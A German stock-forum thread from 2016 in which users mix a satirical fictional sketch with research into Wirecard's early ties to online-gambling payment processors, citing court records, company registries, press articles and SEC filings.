      Fast zwei Jahre später fiel ihm zufällig das US-Dokument wieder in die Hände und er las sich etwas intensiver ein. Spaßeshalber besuchte er die Seite von Ultimatebet im Archiv und war sehr überrascht: Denn da stand, klar und deutlich, dass man Gelder einzahlen könne auf ein Wirecardkonto und dass man seine Auszahlungen auch wieder über diesen Weg erhalten würde.

      Er wollte gerade Stephanie anrufen, als er eine Mail ankommen sah (und ab jetzt wird es eine Phantasiegeschichte): „Schau Dir Th. an, die geile Ratte“. In der Mail war ein Bild seiner Stephanie! Sie lag auf einem Bürotisch und man sah einen Mann über ihr. Darunter stand: „Siehst Du Th., diese Ratte, der viel Spaß mit Steffi hatte? Liebe Grüße, ein Freund. P.S.: Freu Dich an Deinem Aktiengewinn und nimm’s sportlich“. Hans Schlau drehte komplett durch, schmiss Stephanies Sachen aus dem Fenster, trank den teuren Whisky und lief durch den strömenden Regen in den Kunstpark Ost. Dort ging er in eine Kellerdisko und besoff sich hemmungslos. An der Theke stand so ein asozial aussehender Typ mit langen Haaren und schrieb Gedichte auf den Bierdeckel. Der sprach ihn an und Hans Schlau erzählte ihm alles von Stephanie und von der Wirecard. „Die Wirecard?“, lachte der Kerl, „die kenne ich gut… Hast Du Lust, denen eins auszuwischen? Wir schreiben einfach einen Bericht über die Firma und dann kracht der Laden zusammen“. Hans Schlau war völlig verblüfft: „Was hast Du mit der Wirecard zu tun?“. „Tja, sagte der komische Kerl, das erzähle ich Dir, wenn Du wieder nüchtern bist“. Dann stand er auf und begann plötzlich wie irre zu tanzen. Hans Schlau sah ihm ratlos nach und fragte eine Bedienung, warum der Kerl plötzlich so verrückt tanzt. „Ach, das ist sein Lieblingslied!“. „Und wie heißt es?“ – „Das ist von einer ganz alten Band, East of Eden. Es heißt „jig-a-jig“


      d) James Bond, FBI
      Es war der 9. Februar 2010. Kaugummikauend saß James Bond im Büro der Polizei in Naples, Florida. Da klingelte das Telefon. Eine Nummer aus New York. „Fuck, it’s Bharara again, fuck that bloody Indian!“. „Yes, Mister Bharara, what’s on?“ „Yes, we did everything you told us. We have frozen the accounts and we are looking who is paying him all that money”. “Yes, we have seen. It’s a German company. Weird Card or something like that”. “Yes, of course, Mister Bharara, I will check that company, yes, thouroughly, of course, Mister Bharara”. Gelangweilt klickte James Bond auf seinem Computer herum: w-e-i-r-d c-a-r-d. Did you mean Wirecard? „Fuck“, stöhnte James Bond und überblätterte die deutschen Fundstellen. Dann las er:

      BigBet Poker & casino online is starting the year offering their players a Half A Million Chase! Last year they paid for 1 out of 5 players at a tournament with mortgage payments for the whole year of 2010. It is noticeable that they are very innovative when it comes to promos! Their sign up bonus goes from 110% up to $750 with 50% rakeback. They also take most payment methods: Visa, MasterCard, Neteller, Click2Pay, Moneybookers, Quick Cash, EcoCard, PIC Club, myCitadel and UseMyWallet with financial transactions processed through Wirecard AG and Gateway Financial.

      “Holy shit” entfuhr es James Bond. Er klickte ein bisschen weiter und fand einen Reutersartikel in englischer Sprache. Er kopierte die Firmenzusammenfassung, schrieb dazu „just a fucking German bank“. Dann strich er fucking aus, schrieb „normal“, schickte es an Bharara, loggte sich bei Full Tilt ein und spielte eine Runde Black Jack.


      e) Anton Schreibflink
      „Blöde Sache“, dachte sich Anton Schreibflink. „Ich will doch heute noch zum Alumnitreffen der Journalistenschule und jetzt muß ich noch den Artikel schreiben über diesen blöden Börsenskandal“. Er kramte seine Notizen zusammen. „GOMOPA=unseriös“ stand da. „Falschmeldung“ und „Wirecard schon einmal betroffen, SdK!“. Er nahm noch einmal die Pressemeldung der Wirecard zur Hand: „Privatperson, nichts damit zu tun“. Dann schrieb er los:

      Die Aktie des Zahlungsabwicklers Wirecard sorgt für Wirbel auf dem Frankfurter Börsenparkett. Auf wilde Gerüchte folgte ein Kurssturz von 30 Prozent. Insider sprechen von gezielter Manipulation. Erinnerungen an eine vergessen geglaubte Affäre werden wach. Heute geht es mit dem Kurs wieder aufwärts.

      „Jawoll. Fehlt nur noch eine tolle Überschrift…“. Es klingelte, seine Frau war dran: „Ja, Schatz, bin gleich fertig. Suche nur noch eine Überschrift. Was richtig reißerisches… Was macht unsere kleine Prinzessin?“ – „Sie spielt mit ihrem Jo-Jo“. Anton Schreibflink strahlte: „Schatz, Du bist genial!“ „Wieso?“ „Erzähl ich Dir später, bis gleich!“

      Und er tippte die Überschrift… Wenn Short-Seller Jojo spielen, klappte sein laptop zu und fuhr fröhlich vor sich hinpfeifend nach Hause.
      Avatar
      schrieb am 12.08.16 20:32:53
      Beitrag Nr. 175 ()
      PS: In meiner kleinen Phantasiegeschichte steckt mehr Inhalt als im Artikel von Sönke Iwersen. Wetten?
      Avatar
      schrieb am 13.08.16 01:57:56
      Beitrag Nr. 176 ()
      [an diesem Beitrag bastle ich jetzt seit über 8 Stunden! Dazwischen war ich joggen, habe den Haushalt gemacht, zwei Kabel verlegt - aber ich werde damit nicht fertig. Egal]

      Hier ein besonderes "Zuckerl"
      Das ist die älteste Meldung zur Festnahme von Schütt in deutscher Sprache, vom 26. Februar (!) 2010

      Interessant, dass der Zeitungsartikel in Naples News erst am 28.02.2010 erschien, also zwei tage später
      http://goo.gl/TiMj3y

      Bereits am 1. März wurde das in Verbindung gebracht mit dem Fall Douglas Rennick

      Rennick was then able to use a bank in Cyprus to transfer $350 million of online gambling money to US residents using corporate businesses he set up which included KJB Financial Corporation, My ATM Online and Alenis Limited. Account Services and Check Payment Financial were also used.
      The indictment states that Rennick “provided false and misleading information to US banks about the purpose of the accounts because the banks would not have processed the transactions had they known they were gambling-related.”
      If found guilty Rennick could face up to 55 years in prison, $1.75 in fines, as well as the forfeiture of $566 million, which represents the proceeds from his last two years of activities.
      Rennick now joins other high profile Canadians charged with transgressing online gambling laws, which include the NETeller co-founders John Lefebvre and Stephen Lawrence who were arrested on conspiracy charges back in 2007.


      er hat abgerechnet für PokerStars und FullTilt. wie die Wirecard.
      ...und weiter gelesen landete man bei...
      BETONSPORTS
      http://web.archive.org/web/20100326060909/http://www.onlinep…
      Carruthers wurde im Juli 2006 festgenommen

      Das wurde von SES-Research kommentiert
      Wire Card kaufen (SES Research)
      Hamburg (aktiencheck.de AG) - Jochen Reichert, Analyst von SES Research, empfiehlt die Aktie von Wire Card (ISIN DE0007472060/ WKN 747206) weiterhin zu kaufen.
      Am 17.07.2006 sei der CEO von BetOnSports, einem in Großbritannien ansässigen Glücksspielanbieter, in den USA verhaftet worden. Der Vorwurf laute Gaunerei, Verschwörung und bandenmäßiger Betrug. Darüber hinaus werde von einem US-Zivilgericht BetOnSports untersagt, Wetten anzunehmen. Schließlich müsse BetOnSports von US-Kunden einbezahlte Gelder zurückbezahlen. Die US-Behörden hätten angedeutet, dass gegen weitere Unternehmen aus der Glücksspielbranche vorgegangen werden könnte.
      Man sah aber keine Gefahr, da Wire Card nur das Europa- und Asiengeschäft abrechne.
      Tatsache ist aber, dass man damit für eine Firma die Abrechnung machte, der via Costa Rica Beziehungen zur Mafia vorgeworfen wurden, doch das spielte offenbar keine Rolle, konnte es doch nicht nachgewiesen werden. So what. Kaufempfehlung. Fertig.

      Ganz nah dran war aber die Meldung hier
      http://web.archive.org/web/20100310181903/http://www.onlinep…
      Optimal Group, Inc has reached a non-prosecution agreement with US Justice Department (DOJ) in return for a $19.2 million forfeiture of funds. At the heart of the case was the electronic processing company, Firepay, which was operating in the US market between 2004 and 2006 but which has since been shut.

      Optimal? 2004? War da nicht was?
      Glück gehabt, Markus Braun war nur bis März 2003 dort im Aufsichtsrat ;)
      Aber es gibt ja noch die EBS AG :)
      EBS AG (HRB 150988)
      Tag der Eintragung: 29.01.2004
      (...)
      Als Gründer der Gesellschaft, die sämtliche Aktien übernommen haben, gelten: Firma e b s Holding AG, Hallbergmoos und SureFire Commerce Inc., Montreal/Kanada.

      seeeeehr knapp ;)
      (lustigerweise hieß die Firma zu diesem Zeitpunkt gar nicht mehr Surefire:
      sondern - seit 25.9.2003 - Terra Payments

      Am 23.8.2004 ist diese Firma (EBS AG) verschmolzen zur HRB 142427
      Wire Card AG

      Irgendwie wurde daraus dann die Wire Card Technologies AG und daraus die
      Wirecard Technologies AG (2006)

      und so weiter und so fort

      Im August 2003 verkündete die EBS übrigens eine Änderung des mergers mit Surefire
      "Wir haben die Änderungen des Merger Vertrages aufgrund einer geänderten strategischen Ausrichtung angestrebt", sagt Paul Bauer-Schlichtegroll, Vorstand der ebs Holding AG. "Nachdem wir 2002 eine außerordentliche Performance erzielen konnten - eine erhebliche Steigerung bei Umsatz und Ergebnis - sehen wir derzeit gewisse Risiken im US-Markt und wesentlich mehr Dynamik auf dem europäischen Markt, auf den wir unsere Ressourcen und Energie konzentrieren werden.
      Selbstverständlich bauen wir auch zukünftig unsere gute Geschäftsbeziehung zu SureFire Commerce Inc. aus, speziell im Bereich der internationalen Bankenbeziehungen und Zahlungslösungen.
      Wir sind der größte Einzelaktionär von SureFire Commerce Inc. und diese Verbindung ist für uns von wesentlicher Bedeutung, auch haben wir in das Management Team vollstes Vertrauen", fährt Paul Bauer-Schlichtegroll fort.

      wie lange war man eigentlich größter Einzelaktionär der SureFire Commerce? Auch noch 2004?
      Oder ist man ausgestiegen nach dem Börsengang?
      Oder war man Einzeleigner der "Terra payments"?
      Na, jedenfalls war Braun im Spetember 2003 weg, aber Klaus Rehnig war noch da.

      Man war ja bei der wirecard not amused, dass Rehnig 2006/2007 in großem Stil wirecard-Aktien verkauft hat. Rechnen wir mal nach...

      Herr Klaus Rehnig, Deutschland hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass durch Aktienleihe sein Stimmrechtsanteil an der Wirecard AG, Grasbrunn b. München, Deutschland am 6. November 2007 die Schwelle von 3% unterschritten hat und nun 2,85 % (2.256.973 Stimmrechte) beträgt.

      Am 6.11.2007 hatte er also 2,26 Mio Aktien.
      Danach hat er - noch als Insider - noch einmal knapp 200.000 verkauft.
      Ging er also 2008 mit 2 Mio Aktien aus der Firma, nachdem vor 2006 3 Mio davon hatte?
      Wieviele Aktien hatte dann Markus Braun?
      Und warum hat Rehnig im November 2007 Aktien verliehen?
      Und an wen?
      Und hat er das später auch gemacht?
      Und an wen?

      Moment Mal. Klaus Rehnig war auch noch director der "Optimal Paymant" nach den ganzen Umbenennungen. Dann wäre ja ER die Verbindung und nicht Markus Braun! Jetzt kapier ich gar nichts mehr...

      Der AR-Vorsitzende 2008 war früher Director einer Firma, die sich gegen Zahlungs einer Strafe vor Strafverfolgung wegen geldwäsche... Häh?

      Wann kam er denn zur wirecard als AR-Vorsitzender?
      Er verließ wirecard 2008 nach 9 Jahren?!

      ach schaut mal
      http://www.marketvisual.com/d/fdfc7024-37f4-4f19-9f5c-e480c2…







      :)

      wie gesagt: knapp, knapp, knapp, ....


      übrigens findet sich im Einzelabschluß 2009 die letzte "offizielle" Spur zur Surefire
      Das Finanzanlagevermögen erhöhte sich durch den Kauf des Unternehmens E-Credit Plus
      Pte. Ltd., Singapur, um TEUR 10.304. Die Beteiligung an der zuletzt inaktiven Echo Moss
      Ltd. in Höhe von TEUR 1 wurde ausgebucht.

      (S. 34)

      Die "Echo Moss" hieß nämlich früher Surefire (Europe) Ltd
      SUREFIRE EUROPE LIMITED 22 May 2002 - 04 Jul 2003


      Das war aber sicher wieder nur irgendeine nie operativ tätige Vorratsgesellschaft, gegründet in der Absicht, bla bla bla

      und siehe da... Im GB der Infogenie und im Wertpapierprospekt der Wirecard steht es ja
      Die ebs Global GmbH ihrerseits hält 100 % der Anteile an der spanischen Crosskirk SL sowie 49 % an der Surefire Europe Ltd., die jedoch nie einen Geschäftsbetrieb aufgenommen
      hat.

      Na dann ist ja alles gut und man kann meine Ausführungen getrost vergessen.

      Damit zurück zu Schütt:
      Eines wird jedenfalls deutlich: Wer auch nur ein wenig Ahnung von der Materie hatte, der wusste sehr schnell, was für ein Sprengstoff in der Schüttgeschichte lag.
      Zu glauben, dass nur Straub und Bosler das kapiert haben, entspricht der mangelnden Bereitschaft von Analysten und Journaisten, genauer hinzuschauen.

      Schauen wir doch einfach mal nach, was die Creme de la Creme des Finanzjournalismus zwischen dem 01.03.2010 und dem 17.03.2010 zustande gebracht hat:

      https://goo.gl/kJmZyq

      Nichts? Seht ihr, das dachte ich mir :)

      aber wenn man sehr genau kuckt, sieht man eine Meldung von Osborne Clark vom 10. März 2010
      http://www.osborneclarke.com/connected-insights/news/judge-o…

      Osborne Clarke has advised online payment processing company Wirecard AG (the claimant) on a major High Court victory against three individuals who fronted internet ticketing company Xclusive. (...)
      In the case - Wirecard Bank AG & Another v Scott, Van Meel & Shepherd – the judge decided that:

      the defendants perpetrated a ticketing scam in the run up to the 2008 Beijing Olympics which left thousands of disappointed customers around the world without tickets (including the parents of Olympic gold medallist, Rebecca Adlington).
      the defendants deceived Wirecard into providing credit card processing services to their company, Xclusive Leisure & Hospitality Limited, and its related companies which allowed them to take payment of millions of pounds from customers for Olympics tickets which Xclusive had no way of ever supplying (the cash has never been traced); and
      there was a breach of company legislation designed to prevent individuals such as Shepherd, a disqualified director, from being involved in Xclusive's management such that they are all personally liable for Xclusive's debts.


      mehr Details? Aber gerne!
      To prove deceit, Wirecard had to show that Xclusivemade a misrepresentation that it
      was a legitimate and honest business which involvedthe legitimate and honest sale of
      genuine tickets for the 2008 Beijing Olympics. Wirecard also had to prove that
      Xclusive were entitled to receive genuine tickets from the main sponsors of the 2008
      Olympics. The Judge found both of these elements to be proved by Wirecard and
      upheld the deceit claim. Mr van Meel had in November 2007 written an email to
      Wirecard after he met them in Munich to negotiate the card processing contract. This
      email stated that the Beijing tickets were “supplied by main sponsors”. As there never
      were any tickets, this email proved to be the basisby which Wirecard proved the deceit
      by Xclusive.


      http://www.ewriter.eu/articles/Wirecard.pdf

      Aha. Der böse Herr van meel schrieb eine Mail und hat der Wirecard dann das Blaue vom Himmel erzählt... aber wirecard ließ sich das nicht gefallen und nahm ihn auseinander. Und die Leute von Bluetool? Haben die nicht auch die wirecard belogen?

      Die Wirecard ist also durchaus in der Lage, einen betrügerischen "Partner" ausfindig machen zu lassen, zu identifizieren, ja, sogar sein Vermögen pfänden zu lassen.

      Soviel Engagement hätte man sich auch im Falle der Bluetool, Bluemay oder den 10 oder mehr Konten von Kolyma oder Ray Bitar gewünscht.

      Aber schon seltsam: Die meisten Artikel zur Schütt-Affäre in großen zeitungen erschienen offenbar erst NACH der Gomopa-Falschmeldung.
      Wer aber ernsthaft glaubt, dass dieses Thema nicht längst diskutiert wurde, der muß ganz schön naiv sein.

      Immerhin war die Wirecard damals Teil der internationalen Gamblingwelt!

      "Interactive Gaming Council" z.B., die haben sich im Oktober 2006 offen gegen UIGEA gestellt!
      http://www.casinovendors.com/article/americans-still-free-to…
      But it is important to note, the Interactive Gaming Council says, that individual American players are still free to gamble online. The prohibition bill does not make it a crime for the individual participant. The focus of the bill is on the financial transaction – the transmission of money from the player to the operator of the gambling site.
      American players, who are believed to account for half of all online gambling activity, can continue to play without fear of federal prosecution. However, some of their favorite sites may no longer accept their wagers, as many of the publicly traded online gambling companies announced that they would stop taking American bets following the recent action of Congress.
      "This bill doesn't do anything to protect American consumers who choose to enjoy Internet poker and other games," said Keith Furlong, deputy director of the IGC. "But the immediate effect is to drive the industry further underground. Gambling sites will devise new methods for getting money from / to a market where players have shown a resilient demand for this type of entertainment. The sad thing is, however, that many of the largest and most responsible companies, some of whom are major public companies listed on the London Stock Exchange, are being forced to stop providing real-money games.

      Tja, dann kamen halt die vielen Ideen, UIGEA zu umgehen.

      Und (Zatarra hat es ebenfalls gemerkt), da findet man den Dietmar Knöchelmann wieder...

      http://www.companiesofcanada.com/company/372627-4/interactiv…
      Mit der Adresse in Dublin, die wir ja alle kennen.

      Und was hat er nun zu tun mit der Wirecard? ist er, wie zatarra schreibt, ein wegen geldwäsche Beschuldigter in israel oder nicht?

      https://www.google.de/search?num=100&newwindow=1&site=&sourc…

      Knöchelmann und Trautmann...

      zwischen

      "Privatvergnügen" (Warburg) und "Wirecard UK and Ireland Limited" (mit Jan Marsalek und Alan White)

      Roteral Limited - Privatvergnügen oder Wirecard?
      http://www.solocheck.ie/Irish-Company/Roteral-Limited-480328…

      Trautmann’s indicated connection to some Irish companies
      The “report” mentions three Irish companies (FX Currency Services, Forex Trading
      Platform Limited, Roteral limited) in which at least one of the persons, Ruediger
      Trautmann (board member of Wirecard AG between 2005-2010), Dietmar
      Knoechelmann (Wirecard Payment Solutions) or Andy Quinn (Wirecard Payment
      Solutions), had been officers while they were working for Wirecard. Based on our
      research in the commercial register of Ireland, this information is correct. We think that
      those companies are rather related to private matters.

      (Warburg)

      wem glaubt man nun?
      dem israelischen Staatsanwalt?
      dem Jochen Reichert?
      wird die Wirecard dem Staatsanwalt in Israel vorwerfen, dass er gelogen hat, wenn Knöchelmann nicht verurteilt wird?
      Avatar
      schrieb am 13.08.16 15:59:53
      Beitrag Nr. 177 ()
      /// Puzzlestücke aus dem Fall Schütt ///
      NOTICE of attorney appearance: James E. Felman appearing for Michael Olaf Schuett (Felman, James) [2:10-mj-01015-SPC] (Entered: 03/12/2010)
      Am 12. März bekam Schütt einen neuen Anwalt. Einen Topverteidiger für Wirtschaftsstrafsachen.
      quelle
      http://ia600807.us.archive.org/9/items/gov.uscourts.flmd.242…

      Möglicherweise gab es 2 Verfahren...
      Case 2:10-cr-00039-CEH-SPC -cr- 39 FtM 36SPC

      Da gibt es einen Beschluß, in dem es um die Beschlagnahmungen des Vermögens geht. In diesem wird die Geldwäsche Bluetool/SCHÜTT nicht mehr erwähnt!

      Es gibt keinerlei Hinweise in all den Dokumenten, dass die Rolle der Wirecard jemals irgendeine Rolle gespielt hat.

      Es gibt demzufolge keinerlei Rechtfertigung, auf eine Untersuchung und Bewertung des Verhaltens der wirecard zu verzichten mit der von wirecard vorgebrachten Begründung, "wenn da etwas wäre, wäre es bei der Untersuchung herausgekommen"

      wenn die wirecard damit argumentiert, muss sie es belegen, andernfalls handelt sie in meinen Augen manipulativ
      Avatar
      schrieb am 13.08.16 16:11:36
      Beitrag Nr. 178 ()
      /// Puzzlestücke aus dem Fall Schütt ///
      NOTICE of attorney appearance: James E. Felman appearing for Michael Olaf Schuett (Felman, James) [2:10-mj-01015-SPC] (Entered: 03/12/2010)
      Am 12. März bekam Schütt einen neuen Anwalt. Einen Topverteidiger für Wirtschaftsstrafsachen.
      quelle
      http://ia600807.us.archive.org/9/items/gov.uscourts.flmd.242…

      Möglicherweise gab es 2 Verfahren...
      Case 2:10-cr-00039-CEH-SPC -cr- 39 FtM 36SPC

      Da gibt es einen Beschluß, in dem es um die Beschlagnahmungen des Vermögens geht. In diesem wird die Geldwäsche Bluetool/SCHÜTT nicht mehr erwähnt!

      Es gibt keinerlei Hinweise in all den Dokumenten, dass die Rolle der Wirecard jemals irgendeine Rolle gespielt hat.

      Es gibt demzufolge keinerlei Rechtfertigung, auf eine Untersuchung und Bewertung des Verhaltens der wirecard zu verzichten mit der von wirecard vorgebrachten Begründung, "wenn da etwas wäre, wäre es bei der Untersuchung herausgekommen"

      wenn die wirecard damit argumentiert, muss sie es belegen, andernfalls handelt sie in meinen Augen manipulativ

      die Falschmeldung von Gomopa war damals
      "Schütt war ein kleiner Geldbote, einer von 5"
      das ist korrekt und geht aus den Dokumenten hervor, einige der Fälle habe ich bereits einsortiert ins größere Bild (Rennick, Thornhill, Dey(?), Moskowitz(?))

      "er hat angegeben, in direktem Auftrag der wirecard gehandelt zu haben"
      das war falsch! aber die Wahrheit ist für die wirecard nicht viel besser... und Zatarra hat sie aufgezeigt!
      Avatar
      schrieb am 14.08.16 07:13:03
      Beitrag Nr. 179 ()
      //auxmoney, lendico//


      Oh Gott, jetzt muß ich mich doch noch einmal melden! Lendico ist Konkurrenz zu auxmoney? Auxmoney? Ist das nicht... Ich fasse es nicht. Philipp Kriependorf, kriegt Geld von ProSiebenSat1? Wird in den Beitrat Digitale Wirtschaft in NRW geholt vom Ministerpräsidenten? Philip Kamp ist auch dabei? Das ist dieselbe Firma, wirklich? Ich fasse es nicht!
      Nichts da wirecard strong sell, Deutschland strong sell!
      Google mal, das findest Du. Ich brauch jetzt nen Laphroaig auf diesen Schreck...
      http://antiabzockenet.blogspot.de/2013/07/...iose-kreditange…
      Das ist ein Artikel aus 2013. Von 2012 bis 2015 war ich im Urlaub von der Front, sonst hätte ich den gerne ergänzt. Zum Beispiel um die Verbindung zu... ihr ahnt es? ja richtig...
      Früher hätte man manche Leute auf den Marktplatz gestellt mit der Spottgeige, heute werden sie von der Politik hofiert. Und die Hofnarren sperrt man ein.
      Hier mal ein "Leckerli" tief aus dem Archiv (wo sich viele wieder wundern werden, wo ich DEN ausgegraben habe...)
      November 1999 (!)
      http://web.archive.org/web/20010122095300/http://...com/Favo…

      Oder hier mal ein Auszug aus einem Geschäftsbericht von Leuten, die heute freudvolle Gespräche mit der BaFin führen...
      During the fiscal year ended December 31, 2000, we attended the following
      tradeshows at which we presented our software: International Casino Exhibition
      ICE 2000 (January 2000) in London, United Kingdom; Online Gaming Symposium (May
      2000) in Montreal, Canada; and Interactive (IA) 2000
      (September 2000) in New Orleans, Louisiana. Subsequently, we attended the
      International Casino Exhibition ICE 2001 (January 2001) in London, United
      Kingdom. Contacts made by our management during these tradeshows led to
      discussions and negotiations with potential new customers. No assurance can be
      made that any of these discussions and negotiations will ultimately result in
      the sale of new licenses to our software.
      Not all of the fees relating to the sale of licenses to our software have
      been paid in full. Instalment payments relating to the sale of licenses to
      Advanced Media Group, domincana S.A., Setec Astronomy Ltd., World Network Ltd.,
      Global Net Gamble Limited, KGMB and Euflex AG, aggregating approximately
      $886,000, are not yet due. Instalment payments relating to the sale of licenses
      to Setec Astronomy, World Network Ltd., and Global Net Gamble Ltd., aggregating
      approximately $199,000, were overdue as of September 4, 2001.

      EuroDebit Systems GmbH ceased processing and collecting credit card and electronic on-line debit-entry payments for X-Real on December 15, 2000, at which time all of its assets were acquired by Pay@EuroDebit GmbH (formerly known as E- Click Net Commerce GmbH). Since that time, all such payments have been processed and collected for X- Real by Pay@EuroDebit GmbH.EuroDebit Systems GmbH is currently also in insolvency proceedings in Germany. EuroDebit Systems GmbH is a 90% owned subsidiary of EuroDebit Systems, Inc., a company of which Messrs. Kriependorf, Kamp and Cordt are the principal shareholders. Mr. Kamp was the Chief Financial Officer of EuroDebit Systems, Inc. until November 2000 and is the managing director of EuroDebit Systems GmbH. Cyberotic Media AG is a company owned by Messrs. Kamp and Cordt. Mr. Kriependorf is the chairman of Cyberotic Media AG's supervisory board.


      http://www.press1.de/ibot/db/9513864561540861644n0.html?druc…

      Olaf Cordt & Friends hatten mit der EuroDebit Systems AG hochfliegende Pläne.
      Daraus wurde nichts. Die Geschäftsidee landete vor dem Konkursrichter:
      Amtsgericht Düsseldorf, Aktenzeichen: 501 IN 3/01.


      "Jeder Idiot kann mit Online-Erotik Geld verdienen", behauptete einst Philip Kamp, der sich mit Mitte zwanzig als "Deutschlands erfolgreichster Online-Erotikunternehmer" selbst feierte. Seine Firma Cyberotic Media machte angeblich 2,5 Millionen Euro Umsatz mit dem Aufbau von über 150 Sex-Sites. Kamp fuhr einen neuen Porsche und prahlte mit Gewinnmargen von 40 Prozent. Kurz darauf meldete die angeblich so erfolgreiche Porno-Klitsche im Januar 2001 Konkurs an.


      Spiegel 11/2003

      http://www.spiegel.de/spiegel/print/d-26557157.html

      Telebörse, 12. April 2001

      Sex, Lügen und Glücksspiel
      Q-Seven Systems gab sich gern als E-Business-Softwarehaus. Vorstand Philipp Kriependorf tönte gegenüber der TELEBÖRSE: "Wir sind keine dot.com, die von Modetrends abhängig ist." Mit der Lizensierung schlüsselfertiger Software für Online-Casinos sollte die amerikanische AG angeblich Geld verdienen.
      Ob das tatsächlich je so geplant war, ist stark zu bezweifeln. Denn das Firmennetz der Geschäftsführer/Direktoren Philipp Kriependorf, Philip Kamp und Olaf Cordt war an Undurchsichtigkeit kaum zu überbieten.
      Viele Hüllen, wenig Besitzer, kaum Substanz
      Q-Seven Systems Inc. als Unternehmen nach dem Recht von Utah entstand durch einen Reverse Merger aus der Firma Downstream und Q-Seven Systems nach dem Recht von Nevada. Hauptaktionäre waren zu je 21,07% Kriependorf, Kamp und Cordt. Q-Seben Systems Inc. Q-Seven Nevada war genau wie Q-Seven Utah eine leere Hülle, mit Sitz im rheinischen Monheim. Sie bediente sich der Dienste der deutschen Q-Seven Gmbh (Geschäftsführer Kriependorf), von der sie auch die Exklusivlizenz zur Vermarktung der Casino-Software erhielt. Dafür führte sie 90% der Einnahmen an die GmbH ab. Die bezog das Abrechnungstool ihrer Software wieder auf ein Zahlungssystem der EuroDebit Systems Inc. (Sitz Monheim, Direktoren Kriependorf & Cordt, CFO Kamp).
      Die Räume hatte die Q-Seven GmbH übrigens von der Mediacenter Betriebsgesellschaft angemietet. Diese zahlte über Beraterverträge je 100.000 DM an Kriependorf, Kamp und Cordt.

      ...

      Fluchtartig abgesetzt
      Ende letzten Jahres aber muss die ganze Sache zu heiß geworden sein - warum auch immer. Bei einem dubiosen Einbruch in die Firmenräume wurden nach Angaben von Philipp Kamp Festplatten aus den Computern gestohlen und Unternehmensdaten. Mitarbeiter und Partner werfen den Vorständen persönliche Bereicherung vor und beklagen unbezahlte Rechnungen. Doch zu holen ist nichts. Cyberotic Media wurde im Januar wegen Insolvenz aufgelöst.

      ...

      Sie ist wieder da...
      Heute ist Q-Seven wieder aufgetaucht. Angeblich habe sich die irische Fluggesellschaft PartnerAir Plc mündlich (!) interessiert gezeigt, Q-Seven zu übernehmen. Diese Gesellschaft arbeitet nach einem ähnlichen Modell wie Q-Seven: Die ausländische Aktiengesellschaft least ihre drei Flugzeuge an eine deutsche GmbH. Deren Geschäftsführer Hans Ludger Kuhnen folgt Olaf Cordt in den Q-Seven-Vorstand und ist gleichzeitig Director der Plc. Doch halt! EuroDebit Systems ist noch da. Sie ist jetzt eine Tochter der EBS electronic billing systems AG aus Hallbergmoos und heißt pay@EuroDebit. Ihren Sitz hat sie immer noch in Monheim und bis vor kurzem hatte sie auch noch dieselbe Telefonnummer wie die alte Q-Seven. Doch wie man uns dort mitteilte, wurden alle ehemaligen Mitarbeiter "freigestellt". Einige Seiten der ehemaligen Cyberotic Media werden inkassomäßig noch betreut, doch pay@EuroDebit haftet nicht für Cyberotic.
      Meinung des Verfassers: Diese Firma hat das Vertrauen der Anleger nicht verdient.
      Dr. Martin Hock, 12.4.2001


      Oh Gott Deutschland!
      ---


      13. März 2001
      HRB 3826: Pay 1 Eurodebit GmbH, Langenfeld (Elisabeth-Selbert-Str. 4). Gesellschaftsvertrag vom 25. Juni 1999. Durch Beschluß der Gesellschafterversammlung vom 16. Januar 2001 sind der Sitz der Gesellschaft von Halbergmoos, Landkreis Freising, nach Langenfeld verlegt und die Firma der Gesellschaft geändert worden. Der Gesellschaftsvertrag ist in § 1 (Firma und Sitz) entsprechend neu gefaßt worden. Die Gesellschaft hat einen oder mehrere Geschäftsführer. Ist nur ein Geschäftsführer bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Geschäftsführer bestellt, so wird die Gesellschaft durch zwei Geschäftsführer gemeinschaftlich oder durch einen Geschäftsführer und einen Prokuristen gemeinschaftlich vertreten. Die Gesellschafterversammlung kann unabhängig von der Zahl der bestellten Geschäftsführer jederzeit einem, mehreren oder allen Geschäftsführern Einzelvertretungsbefugnis und die Befugnis erteilen, die Gesellschaft auch bei Rechtsgeschäften mit sich selbst oder mit sich als Vertreter eines Dritten uneingeschränkt zu vertreten.
      Gegenstand des Unternehmens: die Vermittlung von Werbung im Internet.
      Stammkapital: 25 000,-- Euro. Die Geschäftsführer Ralf Hubert Gath, geboren am 07. Mai 1960, Florstadt, und Frank Thomaschowski, geboren am 04. Juli 1963, Düsseldorf, vertreten die Gesellschaft jeweils gemeinsam mit einem anderen Geschäftsführer oder mit einem Prokuristen. Herr Paul Bauer-Schlichtegroll ist nicht mehr Geschäftsführer.
      ---
      ...aus der Firma wurde später
      HRB 143760: United Payment GmbH
      dann (legt mich nicht fest)
      Wirecard Retail Services
      Pro Card Kartensysteme
      Wirecard Processing AG war es - galube ich - auch mal

      Bei der Wirecard hat eben alles seine Ordnung!
      Und der Geschäftspartner von damals, der womöglich einer der ersten war, der Casino zur heutigen Wirecard brachte, ist heute Konkurrent der Wirecard-unterstützten Lendico

      Das ist so witzig, dass man es kaum erfinden könnte. Es wird nichts mit dem Kinofilm zur wirecard, weil das keiner glauben würde ;)
      Avatar
      schrieb am 14.08.16 13:19:29
      Beitrag Nr. 180 ()
      https://www.sec.gov/Archives/edgar/data/1033504/000089808001…

      We expect to continue financing our ongoing operations primarily through cash generated from operating activities. Our management expects that, after the steps described below have been implemented, cash on hand, cash provided by operating activities and cash available from the capital markets will be sufficient to fund our operations for the next twelve months. Our cash flow in the three months ended March 31, 2001 was affected by delays in the receipt of payments from Pay@EuroDebit GmbH, as previously reported. Pay@EuroDebit GmbH provides services to X-Real in connection with the collection from X-Real's customers of credit card and electronic on-line debit-entry payments from X-Real's customers. Pay@EuroDebit GmbH's services were provided to X-Real during the three months ended March 31, 2001 pursuant to an oral agreement between X-Real and Pay@EuroDebit GmbH. Since then, X-Real and Pay@EuroDebit GmbH have entered into a written agreement dated July 13, 2001, pursuant to which such services are provided now. The cause for the initial delays in the receipt of payments from Pay@EuroDebit GmbH seems to have been resolved. During the last few months, Pay@EuroDebit GmbH has regularly transferred to X-Real the amounts due to X-Real. As of March 31, 2001 and October 18, 2001, X-Real had receivables from Pay@EuroDebit GmbH in the amount of approximately DM 80,000 (which equals approximately $35,970 on the basis of the Federal Reserve Bank of New York March 30, 2001 noon buying rate of Euro 1 = $0.8794 and the 13 <PAGE> fixed exchange rate of Euro 1 = DM 1.95583) and DM 10,000 (which equals approximately 